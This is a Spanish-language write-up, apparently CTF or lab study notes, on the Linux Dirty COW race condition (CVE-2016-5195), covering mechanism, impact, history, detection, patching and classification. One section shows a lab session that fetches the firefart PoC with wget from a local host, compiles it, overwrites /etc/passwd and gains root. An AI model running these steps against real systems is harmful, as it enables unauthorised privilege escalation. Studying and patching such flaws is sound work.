1. Descripción técnica del ataque
Dirty COW (CVE-2016-5195) es una vulnerabilidad de condición de carrera en el mecanismo Copy-On-Write (COW) del subsistema de memoria del kernel de Linux. El nombre viene de Dirty Copy-On-Write.
Cuando un proceso mapea un archivo de solo lectura con mmap() (modo privado, MAP_PRIVATE), el kernel usa COW: las escrituras crean una copia privada en lugar de modificar el archivo original. Sin embargo, existe una carrera entre madvise(MADV_DONTNEED) y la escritura sobre el mapeo (vía /proc/self/mem): explotándola repetidamente, un atacante consigue que la escritura impacte la página original del archivo en lugar de la copia privada, escribiendo en archivos de solo lectura sin tener permisos.
Vectores típicos:
- Sobrescribir
/etc/passwd(añadir/modificar una cuenta root). - Modificar un binario SUID para inyectar código.
2. Impacto de la vulnerabilidad
- Escalada de privilegios a root local, muy fiable.
- Escritura en cualquier archivo legible por el usuario (incluidos archivos del sistema y binarios).
- Impacto histórico enorme: presente en el kernel durante ~9 años, afectó a prácticamente todas las distribuciones y a Android.
3. Historia y evolución
- El bug existía desde 2007 (kernel 2.6.22) y fue descubierto/divulgado por Phil Oester en octubre de 2016.
- Se observó explotación in-the-wild antes del parche, lo que motivó su divulgación urgente.
- Existen múltiples PoCs (el de firefart que reescribe
/etc/passwd,dirtyc0w.c, variantes para binarios SUID). Es un clásico recurrente en CTFs con kernels antiguos.
4. Factores que la hacen posible
- Un kernel vulnerable: anterior a 4.8.3 / 4.7.9 / 4.4.26 (las versiones parcheadas en octubre de 2016).
- Acceso local como usuario sin privilegios con lectura sobre el archivo objetivo.
- Capacidad de compilar/ejecutar el exploit.
5. Detección
- Comprobar la versión del kernel:
uname -rKernels antiguos (3.x, 4.x previos a las versiones parcheadas) son candidatos.
linux-exploit-suggestery LinPEAS lo marcan automáticamente.
6. Mitigación
- Actualizar el kernel a una versión parcheada (≥ 4.8.3 / 4.7.9 / 4.4.26 o las correspondientes de la distribución).
- Aplicar las actualizaciones de seguridad del proveedor.
7. Ejemplo de explotación real
Máquina DoubleTrouble de HMV. Con el PoC de firefart, que reescribe /etc/passwd para crear el usuario root firefart:
clapton@doubletrouble:/home$ uname -r
3.2.0-4-amd64
clapton@doubletrouble:/tmp$ wget http://192.168.1.3:8000/dirty.c
clapton@doubletrouble:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
clapton@doubletrouble:/tmp$ ./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 1234
...
clapton@doubletrouble:/tmp$ su firefart
firefart@doubletrouble:/tmp# id
uid=0(firefart) gid=0(root) groups=0(root)
# restaurar:
firefart@doubletrouble:/tmp# mv /tmp/passwd.bak /etc/passwd8. Clasificación
- Tipo: Race Condition → Local Privilege Escalation
- CVE: CVE-2016-5195
- CWE:
- CWE-362 – Concurrent Execution using Shared Resource with Improper Synchronization (Race Condition)
9. Resumen
Dirty COW (CVE-2016-5195) es una condición de carrera en el COW del kernel Linux que permite escribir en archivos de solo lectura y escalar a root (vía /etc/passwd o binarios SUID). Presente desde 2007 y parcheado en 2016, sigue siendo explotable en kernels antiguos. La defensa es actualizar el kernel. Pariente conceptual de Dirty Pipe (CVE-2022-0847).